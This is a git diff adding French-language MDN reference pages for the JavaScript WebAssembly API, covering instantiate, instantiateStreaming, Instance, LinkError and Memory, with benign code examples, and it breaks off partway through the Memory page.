+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/index.html new file mode 100644 index 0000000000..b5932b027c --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/index.html @@ -0,0 +1,106 @@ +--- +title: WebAssembly +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly +tags: + - API + - JavaScript + - Object + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly +--- +
{{JSRef}}
+ +

L'objet JavaScript WebAssembly est un objet global qui agit comme un espace de noms (namespace) pour les différentes fonctionnalités JavaScript relatives à WebAssembly.

+ +

À la différence des autres objets globaux, WebAssembly n'est pas un constructeur (au même titre que {{jsxref("Math")}} qui agit comme un espace de noms pour les constantes et fonctions mathématiques ou comme {{jsxref("Intl")}} qui centralise les constructeurs et les opérations relatives à l'internationalisation).

+ +

Description

+ +

L'objet WebAssembly est notamment utilisé pour :

+ +
    +
  • Charger du code WebAssembly grâce à la fonction {{jsxref("WebAssembly.instantiate()")}}
    • +
  • Créer des zones mémoires et des instances de tableaux grâce aux constructeurs  {{jsxref("WebAssembly.Memory()")}}/{{jsxref("WebAssembly.Table()")}}.
    • +
  • Fournir des outils de gestion d'erreur WebAssembly grâce aux constructeurs {{jsxref("WebAssembly.CompileError()")}}/{{jsxref("WebAssembly.LinkError()")}}/{{jsxref("WebAssembly.RuntimeError()")}}.
    • +
+ +

Méthodes

+ +
+
{{jsxref("WebAssembly.instantiate()")}}
+
La méthode qu'on utilisera la plupart du temps pour compiler et instancier du code WebAssembly, elle renvoie une promesse qui est résolue en une Instance ou en une Instance et un Module.
+
{{jsxref("WebAssembly.instantiateStreaming()")}}
+
Cette méthode peremet de compiler et d'instancier un module WebAssembly à partir d'un flux source (streamed source). Elle renvoie à la fois un objet Module et sa première Instance.
+
{{jsxref("WebAssembly.compile()")}}
+
Cette méthode permet de compiler un {{jsxref("WebAssembly.Module")}} à partir de bytecode  WebAssembly, l'instanciation doit alors être effectuée dans une autre étape.
+
{{jsxref("WebAssembly.compileStreaming()")}}
+
Cette méthode permet de compiler un module {{jsxref("WebAssembly.Module")}} à partir d'un flux source (streamed source). L'instanciation devra alors être réalisée avec une autre étape.
+
{{jsxref("WebAssembly.validate()")}}
+
Cette méthode permet de valider un tableau typé censé contenir du bytecode WebAssembly : elle renvoie true si les octets forment un code WebAssembly valide ou false sinon.
+
+ +

Constructeurs

+ +
+
{{jsxref("WebAssembly.Global()")}}
+
Ce constructeur permet de créer un nouvel objet WebAssembly Global.
+
{{jsxref("WebAssembly.Module()")}}
+
Ce constructeur permet de créer un objet WebAssembly Module.
+
{{jsxref("WebAssembly.Instance()")}}
+
Ce constructeur permet de créer un objet WebAssembly Instance.
+
{{jsxref("WebAssembly.Memory()")}}
+
Ce constructeur permet de créer un objet WebAssembly Memory.
+
{{jsxref("WebAssembly.Table()")}}
+
Ce constructeur permet de créer un objet WebAssembly Table.
+
{{jsxref("WebAssembly.CompileError()")}}
+
Ce constructeur permet de créer un objet WebAssembly CompileError.
+
{{jsxref("WebAssembly.LinkError()")}}
+
Ce constructeur permet de créer un objet WebAssembly LinkError.
+
{{jsxref("WebAssembly.RuntimeError()")}}
+
Ce constructeur permet de créer un objet WebAssembly RuntimeError.
+
+ +

Exemples

+ +

L'exemple suivant (cf. le fichier instantiate-streaming.html sur GitHub et le résultat obtenu) permet de récupérer le module WebAssembly via un flux depuis une source, de le compiler, puis de l'instancier. La promesse est résolue avec un objet ResultObject. La méthode instantiateStreaming() accepte une promesse pour l'argument {{domxref("Response")}}, on peut lui passer directement un appel à {{domxref("WindowOrWorkerGlobalScope.fetch()")}} qui passera ensuite la réponse à la fonction lors de la complétion de la promesse.

+ +
var importObject = { imports: { imported_func: arg => console.log(arg) } };
+
+WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj => obj.instance.exports.exported_func());
+ +

On accède alors à la propriété de l'instance ResultObject puis on appelle la fonction exportée.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#the-webassembly-object', 'WebAssembly')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.WebAssembly")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/instance/exports/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/instance/exports/index.html new file mode 100644 index 0000000000..cec4fddea3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/instance/exports/index.html @@ -0,0 +1,71 @@ +--- +title: WebAssembly.Instance.prototype.exports +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/exports +tags: + - API + - Experimental + - JavaScript + - Propriété + - Reference + - WebAssembly + - instance +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports +--- +
{{JSRef}}
+ +

La propriété exports du prototype de {{jsxref("WebAssembly.Instance")}} est une propriété en lecture seul qui renvoie un objet dont les propriétés sont les différentes fonctions exportées depuis l'instance du module WebAssembly. Cela permet d'y accéder et de les manipuler en JavaScript.

+ +
instance.exports
+ +

Exemples

+ +

Après avoir récupéré le bytecode WebAssembly grâce à la méthode fetch(), on le compile et on instancie le module grâce à la fonction {{jsxref("WebAssembly.instantiateStreaming()")}}. Lorsqu'on utilise cette fonction, on importe une fonction dans le module. Ensuite, on appelle une fonction WebAssembly exportée qui est exposée via l'instance.

+ +
var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj => obj.instance.exports.exported_func());
+ +
+

Note : Voir le fichier index.html sur GitHub (ainsi que la démonstration) pour un exemple.

+
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblyinstance-objects', 'WebAssembly.Instance objects')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Instance.exports")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/instance/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/instance/index.html new file mode 100644 index 0000000000..93c6a9b324 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/instance/index.html @@ -0,0 +1,81 @@ +--- +title: WebAssembly.Instance() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance +tags: + - API + - Constructeur + - JavaScript + - Reference + - WebAssembly + - instance +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance +--- +
{{JSRef}}
+ +

Un objet WebAssembly.Instance représente un objet exécutable, avec un état, qui est une instance d'un module WebAssembly. Un objet Instance contient l'ensemble des fonctions WebAssembly exportées qui permettent d'invoquer du code WebAssembly depuis du code JavaScript.

+ +

Le constructeur WebAssembly.Instance() peut être appelé afin de créer, de façon synchrone, une instance d'un {{jsxref("WebAssembly.Module")}} donné. Toutefois, pour obtenir une instance, on utilisera généralement la fonction asynchrone {{jsxref("WebAssembly.instantiateStreaming()")}}.

+ +

Syntaxe

+ +
+

Important : L'instanciation de modules volumineux peut être coûteuse en temps/ressource. Instance() ne doit être utilisée que lorsqu'une instanciation synchrone est nécessaire. Pour tous les autres cas, c'est la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} qui devrait être utilisée.

+
+ +
var monInstance = new WebAssembly.Instance(module, importObject);
+ +

Paramètres

+ +
+
module
+
L'objet WebAssembly.Module qu'on souhaite instancier.
+
importObject {{optional_inline}}
+
Un objet qui contient des valeurs à importer dans l'instance. Ce peuvent être des fonctions ou des objets WebAssembly.Memory. Il doit exister une propriété correspondante pour chaque import, si ce n'est pas le cas, un exception WebAssembly.LinkError sera levée.
+
+ +

Instances d'Instance

+ +

Toutes les instances du type Instance héritent du prototype du constructeur Instance(). Celui-ci peut être modifié afin de modifier l'ensemble des instances de Instance.

+ +

Propriétés

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/prototype', 'Propriétés')}}

+ +

Méthodes

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/WebAssembly/Instance/prototype', 'Méthodes')}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblyinstance-objects', 'Instance')}}{{Spec2('WebAssembly JS')}}Définition initiale dans un brouillon de spécification.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Instance")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/instantiate/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/instantiate/index.html new file mode 100644 index 0000000000..3c5f54f844 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/instantiate/index.html @@ -0,0 +1,175 @@ +--- +title: WebAssembly.instantiate() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/instantiate +tags: + - API + - JavaScript + - Méthode + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate +--- +
{{JSRef}}
+ +

La fonction WebAssembly.instantiate() permet de compiler et d'instancier du code WebAssembly. Cette fonction possède deux formes :

+ +
    +
  • La première forme prend un code binaire WebAssembly sous forme d'un tableau typé ou d'un {{jsxref("ArrayBuffer")}} et effectue les étapes de compilation et d'instanciation en une fois. La valeur de résolution de la promesse renvoyée se compose d'un module {{jsxref("WebAssembly.Module")}} compilé et de sa première instance {{jsxref("WebAssembly.Instance")}}.
    • +
  • La seconde forme prend un module ({{jsxref("WebAssembly.Module")}}) déjà compilé et renvoie une promesse dont la valeur de résolution est une instance de ce module. Cette forme s'avère utile lorsque le module a déjà été compilé.
    • +
+ +
+

Attention ! Tant que faire se peut, utiliser la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} car elle est plus efficace et récupère, compile et instancie un module en une seule étape à partir du bytecode et il n'est pas nécessaire de passer par une conversion en {{jsxref("ArrayBuffer")}}.

+
+ +

Syntaxe

+ +

Première forme : utiliser le bytecode WebAssembly

+ +
Promise<ResultObject> WebAssembly.instantiate(bufferSource, importObject);
+
+ +

Paramètres

+ +
+
bufferSource
+
Un tableau typé ou un {{jsxref("ArrayBuffer")}} qui contient le bytecode du module WebAssembly qu'on souhaite compiler.
+
importObject {{optional_inline}}
+
Un objet qui contient les valeurs à importer dans l'instance qui sera créée. Ces valeurs peuvent être des fonctions ou des objets {{jsxref("WebAssembly.Memory")}}. Il doit y avoir une propriété correspondante au sein du module compilé pour chacun des imports, si ce n'est pas le cas, une exception {{jsxref("WebAssembly.LinkError")}} sera levée.
+
+ +

Valeur de retour

+ +

Une promesse qui est résoluee en un objet qui contient deux champs :

+ +
    +
  • module : un objet {{jsxref("WebAssembly.Module")}} qui représente le module WebAssembly compilé. Ce module peut être instancié à nouveau grâce à  {{domxref("Worker.postMessage", "postMessage()")}} ou via un cache IndexedDB.
    • +
  • instance : un objet {{jsxref("WebAssembly.Instance")}} qui contient l'ensemble des fonctions WebAssembly exportées.
    • +
+ +

Exceptions

+ +
    +
  • Si l'un des paramètres n'a pas le bon type ou la bonne structure, une exception {{jsxref("TypeError")}} sera levée.
    • +
  • Si l'opération échoue, la promesse est rompue avec une exception {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}} ou {{jsxref("WebAssembly.RuntimeError")}} selon l'origine de l'échec.
    • +
+ +

Seconde forme : utiliser une instance d'un module

+ +
Promise<WebAssembly.Instance> WebAssembly.instantiate(module, importObject);
+
+ +

Paramètres

+ +
+
module
+
L'objet {{jsxref("WebAssembly.Module")}} qui doit être instancié.
+
importObject {{optional_inline}}
+
Un objet qui contient les valeurs à importer dans l'instance qui sera créée. Ces valeurs peuvent être des fonctions ou des objets {{jsxref("WebAssembly.Memory")}}. Il doit y avoir une propriété correspondante au sein du module compilé pour chacun des imports, si ce n'est pas le cas, une exception {{jsxref("WebAssembly.LinkError")}} sera levée.
+
+ +

Valeur de retour

+ +

Une promesse qui est résolue en un objet {{jsxref("WebAssembly.Instance")}}.

+ +

Exceptions

+ +
    +
  • Si l'un des paramètres n'est pas du bon type ou n'a pas la bonne structure, une exception {{jsxref("TypeError")}} est levée.
    • +
  • Si l'opération échoue, la promesse sera rompue avec une exception {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}} ou {{jsxref("WebAssembly.RuntimeError")}} selon l'origine de l'échec.
    • +
+ +

Exemples

+ +
+

Note : Dans la plupart des cas, on utilisera plus vraisemblablement {{jsxref("WebAssembly.instantiateStreaming()")}} qui est plus efficace que instantiate().

+
+ +

Première forme

+ +

Après avoir récupéré le bytecode WebAssembly grâce à fetch(), on compile et on instancie le module grâce à la fonction  {{jsxref("WebAssembly.instantiate()")}} et on importe une fonction JavaScript dans le module lors de cette étape. Ensuite, on invoque une fonction WebAssembly exportée via l'instance.

+ +
var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+fetch('simple.wasm').then(response =>
+  response.arrayBuffer()
+).then(bytes =>
+  WebAssembly.instantiate(bytes, importObject)
+).then(result =>
+  result.instance.exports.exported_func()
+);
+ +
+

Note : Voir le fichier index.html sur GitHub (ainsi que la démonstration associée) qui contient un exemple analogue et qui utilise la fonction utilitaire fetchAndInstantiate().

+
+ +

Seconde forme

+ +

Dans l'exemple qui suit (tiré du fichier index-compile.html sur GitHub et qui dispose d'une démonstration), on compile le bytecode du module chargé simple.wasm grâce à la fonction {{jsxref("WebAssembly.compileStreaming()")}} puis on envoie le résultat à un worker grâce à la méthode {{domxref("Worker.postMessage", "postMessage()")}}.

+ +
var worker = new Worker("wasm_worker.js");
+
+WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(mod =>
+  worker.postMessage(mod)
+);
+ +

Dans le worker (cf. wasm_worker.js), on définit un objet d'import qui sera utilisé par le module puis on paramètre un gestionnaire d'évènement afin de recevoir le module depuis le thread principal. Lorsqu'on reçoit le module, on en crée une instance grâce à la méthode {{jsxref("WebAssembly.instantiate()")}} puis on appelle une fonction exportée depuis le module.

+ +
var importObject = {
+  imports: {
+    imported_func: function(arg) {
+      console.log(arg);
+    }
+  }
+};
+
+onmessage = function(e) {
+  console.log('module reçu depuis le thread principal');
+  var mod = e.data;
+
+  WebAssembly.instantiate(mod, importObject).then(function(instance) {
+    instance.exports.exported_func();
+  });
+};
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblyinstantiate', 'instantiate()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.instantiate")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html new file mode 100644 index 0000000000..a53701dd6d --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html @@ -0,0 +1,90 @@ +--- +title: WebAssembly.instantiateStreaming() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/instantiateStreaming +tags: + - API + - JavaScript + - Méthode + - Object + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming +--- +
{{JSRef}}
+ +

La fonction WebAssembly.instantiateStreaming() permet de compiler et d'instancier un module WebAssembly depuis un flux source. C'est la méthode la plus efficace, et la plus optimisée, permettant de charger du code WebAssembly.

+ +

Syntaxe

+ +
Promise<ResultObject> WebAssembly.instantiateStreaming(source, importObject);
+ +

Paramètres

+ +
+
source
+
Un objet {{domxref("Response")}} ou une promesse qui sera tenue avec une valeur {{domxref("Response")}} qui représente la source du module .wasm dont on souhaite récupérer le flux, la compiler puis l'instanciere.
+
importObject {{optional_inline}}
+
Un objet qui contient les valeurs qui doivent être importées dans le nouvel objet Instance résultant. Cela peut être des fonctions ou des objets {{jsxref("WebAssembly.Memory")}}. Il est nécessaire qu'il y ait une propriété correspondante pour chaque import déclaré dans le module compilé, sinon, une exception WebAssembly.LinkError sera levée.
+
+ +

Valeur de retour

+ +

Un objet Promise dont la valeur de résolution est un objet ResultObject contenant deux champs :

+ +
    +
  • module : un objet {{jsxref("WebAssembly.Module")}} qui représente le module WebAssembly compilé. Ce module pourra être instancié à nouveau, partagé avec postMessage().
    • +
  • instance : un objet {{jsxref("WebAssembly.Instance")}} qui contient l'ensemble des fonctions WebAssembly exportées.
    • +
+ +

Exceptions

+ +
    +
  • Si l'un des paramètres n'est pas du bon type ou ne possède pas la bonne structure, une exception {{jsxref("TypeError")}} est déclenchée.
    • +
  • Si l'opération échoue, la promesse lève une exception {{jsxref("WebAssembly.CompileError")}}, {{jsxref("WebAssembly.LinkError")}} ou {{jsxref("WebAssembly.RuntimeError")}} selon la cause de l'échec.
    • +
+ +

Examples

+ +

Dans l'exemple suivant (également disponible sur GitHub : instantiate-streaming.html et avec le résultat live), on récupère le flux d'un module .wasm depuis une source, on le compile et on l'instancie. La promesse est alors résolue avec un objet ResultObject. La méthode instantiateStreaming()  acceptant une promesse fournissant un objet {{domxref("Response")}}, on peut directement l'appel de {{domxref("WindowOrWorkerGlobalScope.fetch()")}} en argument qui transfèrera la réponse lorsque la promesse résultante sera tenue.

+ +
var importObject = { imports: { imported_func: arg => console.log(arg) } };
+
+WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj => obj.instance.exports.exported_func());
+ +

Ensuite, on accède au champ instance de l'objet ResultObject afin de pouvoir invoquer une des fonctions exportées.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly Embedding', '#webassemblyinstantiatestreaming', 'instantiateStreaming()')}}{{Spec2('WebAssembly Embedding')}}Brouillon de définition initiale.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.instantiateStreaming")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/linkerror/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/linkerror/index.html new file mode 100644 index 0000000000..be70427e74 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/linkerror/index.html @@ -0,0 +1,119 @@ +--- +title: WebAssembly.LinkError() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/LinkError +tags: + - API + - Constructeur + - JavaScript + - LinkError + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError +--- +
{{JSRef}}
+ +

Le constructeur WebAssembly.LinkError() permet de créer un nouvel objet WebAssembly LinkError qui indique qu'une erreur s'est produite lors de l'instanciation du module (en plus des trappes provenant de la fonction initiale).

+ +

Syntaxe

+ +
new WebAssembly.LinkError(message, nomFichier, numeroLigne)
+ +

Paramètres

+ +
+
message {{optional_inline}}
+
Une description, compréhensible par un humain, de l'erreur qui s'est produite.
+
nomFichier {{optional_inline}}{{non-standard_inline}}
+
Le nom du fichier qui contient le code à l'origine de l'exception.
+
numeroLigne {{optional_inline}}{{non-standard_inline}}
+
Le numéro de ligne dans le fichier contenant le code à l'origine de l'exception.
+
+ +

Propriétés

+ +

Le constructeur LinkError ne contient pas de propriétés qui lui soient propres. Il hérite cependant de certaines propriétés via sa chaîne de prototypes.

+ +
+
WebAssembly.LinkError.prototype.constructor
+
Cette propriété est la fonction qui permet de créer le prototype de l'instance.
+
{{jsxref("Error.prototype.message", "WebAssembly.LinkError.prototype.message")}}
+
Le message d'erreur. Bien qu'ECMA-262 indique que l'objet doive fournir sa propre propriété message, dans SpiderMonkey, celle-ci est héritée depuis {{jsxref("Error.prototype.message")}}.
+
{{jsxref("Error.prototype.name", "WebAssembly.LinkError.prototype.name")}}
+
Le nom de l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.fileName", "WebAssembly.LinkError.prototype.fileName")}}
+
Le chemin du fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.lineNumber", "WebAssembly.LinkError.prototype.lineNumber")}}
+
Le numéro de ligne dans le fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.columnNumber", "WebAssembly.LinkError.prototype.columnNumber")}}
+
Le numéro de la colonne dans la ligne du fichier qui a entraîné l'erreur. Cette propriété est héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.stack", "WebAssembly.LinkError.prototype.stack")}}
+
La pile d'appels à l'origine de l'erreur. Cette propriété est héritée depuis {{jsxref("Error")}}.
+
+ +

Méthodes

+ +

Le constructeur LinkError ne contient pas de méthodes qui lui soient propres. Il hérite toutefois de méthodes grâce à sa chaîne de prototypes.

+ +
+
{{jsxref("Error.prototype.toSource", "WebAssembly.LinkError.prototype.toSource()")}}
+
Cette méthode renvoie un code qui pourrait être évalué et causere la même erreur. Elle est héritée via {{jsxref("Error")}}.
+
{{jsxref("Error.prototype.toString", "WebAssembly.LinkError.prototype.toString()")}}
+
Cette méthode renvoie une chaîne de caractères qui représente l'objet de l'erreur. Elle est héritée via {{jsxref("Error")}}.
+
+ +

Exemples

+ +

Dans le fragment de code qui suit, on crée un nouvelle instance de LinkError puis on imprime les détails dans la console :

+ +
try {
+  throw new WebAssembly.LinkError('Coucou', 'unFichier', 10);
+} catch (e) {
+  console.log(e instanceof LinkError); // true
+  console.log(e.message);                 // "Coucou"
+  console.log(e.name);                    // "LinkError"
+  console.log(e.fileName);                // "unFichier"
+  console.log(e.lineNumber);              // 10
+  console.log(e.columnNumber);            // 0
+  console.log(e.stack);                   // renvoie la pile d'appels
+                                          // à l'origine de l'erreur
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}{{Spec2('ESDraft')}}Définition des types standards NativeError.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.LinkError")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/memory/buffer/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/memory/buffer/index.html new file mode 100644 index 0000000000..e7c8674713 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/memory/buffer/index.html @@ -0,0 +1,67 @@ +--- +title: WebAssembly.Memory.prototype.buffer +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory/buffer +tags: + - API + - JavaScript + - Propriété + - Reference + - WebAssembly + - memory +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer +--- +
{{JSRef}}
+ +

La propriété buffer, rattachée au prototype de l'objet Memory, renvoie le tampon (buffer) contenu dans l'espace mémoire.

+ +
memory.buffer
+
+ +

Exemples

+ +

Dans l'exemple suivant (cf. le fichier memory.html sur GitHub ainsi que le résultat obtenu), on récupère puis on instancie le bytecode memory.wasm grâce à la méthode {{jsxref("WebAssembly.instantiateStreaming()")}} tout en important la mémoire créée à la ligne précédente. Ensuite, on enregistre certaines valeurs dans cette mémoire puis on exporte une fonction afin de l'utiliser pour additionner certaines valeurs.

+ +
WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } })
+.then(obj => {
+  var i32 = new Uint32Array(memory.buffer);
+  for (var i = 0; i < 10; i++) {
+    i32[i] = i;
+  }
+  var sum = obj.instance.exports.accumulate(0, 10);
+  console.log(sum);
+});
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymemoryprototypebuffer', 'buffer')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Memory.buffer")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/memory/grow/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/memory/grow/index.html new file mode 100644 index 0000000000..89a98ecbed --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/memory/grow/index.html @@ -0,0 +1,81 @@ +--- +title: WebAssembly.Memory.prototype.grow() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory/grow +tags: + - API + - JavaScript + - Méthode + - Reference + - WebAssembly + - memory +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/grow +--- +
{{JSRef}}
+ +

La méthode grow(), rattachée au prototype de l'objet Memory, permet d'augmenter la taille de l'espace mémoire correspondant d'un nombre de pages WebAssembly.

+ +

Syntaxe

+ +
memory.grow(nombre);
+
+ +

Paramètres

+ +
+
nombre
+
Le nombre de pages WebAssembly duquel on veut augmenter l'espace mémoire correspondant à l'objet courant (une page mémoire WebAssembly correspond à 64 Ko).
+
+ +

Valeur de retour

+ +

La taille de l'espace mémoire avant l'extension, exprimée en nombre de pages WebAssembly.

+ +

Exemples

+ +

Dans le code qui suit, on crée une instance de Memory qui mesure initialement 1 page (soit 64 Ko) et dont la taille maximale est de 10 pages (soit 6,4 Mo).

+ +
var memory = new WebAssembly.Memory({initial:10, maximum:100});
+ +

Ensuite, on augmente la taille de l'espace mémoire d'une page grâce à la méthode :

+ +
const bytesPerPage = 64 * 1024;
+console.log(memory.buffer.byteLength / bytesPerPage);  // "1"
+console.log(memory.grow(1));                           // "1"
+console.log(memory.buffer.byteLength / bytesPerPage);  // "2"
+ +

On voit ici que la valeur de grow() indique l'espace utilisé avant l'agrandissement de la mémoire.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('WebAssembly JS', '#webassemblymemoryprototypegrow', 'grow()')}}{{Spec2('WebAssembly JS')}}Brouillon de définition initiale pour WebAssembly.
+ +

Compatibilité des navigateurs

+ +
+ + +

{{Compat("javascript.builtins.WebAssembly.Memory.grow")}}

+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/webassembly/memory/index.html b/files/fr/web/javascript/reference/global_objects/webassembly/memory/index.html new file mode 100644 index 0000000000..b6469924d1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/webassembly/memory/index.html @@ -0,0 +1,123 @@ +--- +title: WebAssembly.Memory() +slug: Web/JavaScript/Reference/Objets_globaux/WebAssembly/Memory +tags: + - API + - Constructeur + - JavaScript + - Object + - Reference + - WebAssembly +translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory +--- +
{{JSRef}}
+ +

Le constructeur WebAssembly.Memory() crée un nouvel objet Memory dont la propriété {{jsxref("WebAssembly/Memory/buffer","buffer")}} est un {{jsxref("ArrayBuffer")}} redimensionnable qui contient les octets de mémoire bruts accessibles par une instance WebAssembly.

+ +

Un espace mémoire créé depuis du code JavaScript ou depuis du code WebAssembly sera accessible et modifiable (mutable) depuis JavaScript et depuis WebAssembly.

+ +

Syntaxe

+ +
var maMemoire = new WebAssembly.Memory(descripteurMemoire);
+ +

Paramètres

+ +
+
descripteurMemoire
+
Un objet qui contient les propriétés suivantes : +
+
initial
+
La taille initiale de cet espace mémoire WebAssembly, exprimée en nombre de pages WebAssembly.
+
maximum {{optional_inline}}
+
La taille maximale autorisée pour cet espace mémoire WebAssembly, exprimée en nombre de pages WebAssembly. Lorsque ce paramètre est utilisé, il est fournit comme indication au moteur pour que celui-ci réserve l'espace mémoire correspondant. Toutefois, le moteur peut choisir d'ignorer cette indication. Dans la plupart des cas, il n'est pas nécessaire d'indiquer un maximum pour les modules WebAssembly.
+
+
+
+ +
+

Note : Une page mémoire WebAssembly correspond à une taille fixe de 65 536 octets, soit environ 64 Ko.

+
+ +

Exceptions

+ +
    +
  • Si descripteurMemoire n'est pas un objet, une exception {{jsxref("TypeError")}} sera levée.
    • +
  • Si maximum est indiqué et qu'il est inférieur à initial, une exception {{jsxref("RangeError")}} sera levée.
    • +
+ +

Méthodes du constructeur Memory

+ +

Aucune.

+ +

Instances de Memory

+ +

Toutes les instances de Memory héritent des propriétés du prototype du constructeur Memory() qui peut être utilisé afin de modifier le comportement de l'ensemble des instances de Memory.

+ +

Propriétés

+ +
+
Memory.prototype.constructor
+
Renvoie la fonction qui a créé l'instance de l'objet. Par défaut, c'est le constructeur {{jsxref("WebAssembly.Memory()")}}.
+
{{jsxref("WebAssembly/Memory/buffer","Memory.prototype.buffer")}}
+
Une propriété d'accesseur qui renvoie le tampon contenu dans l'espace mémoire.
+
+ +

Méthodes

+ +
+
{{jsxref("WebAssembly/Memory/grow","Memory.prototype.grow()")}}
+
Cette méthode permet d'augmenter la taille de l'espace mémoire d'un nombre de pages donné (dont chacune mesure 64 Ko).
+
+ +

Exemples

+ +

Il existe deux façons de créer un objet WebAssembly.Memory. La première consiste à le créer explicitement en JavaScript. Avec l'instruction qui suit, on crée un espace mémoire avec une taille initiale de 10 pages (soit 640 Ko) et une taille maximale de 100 pages (soit 6,4 Mo).

+ +
var memoire = new WebAssembly.Memory({initial:10, maximum:100});
+ +

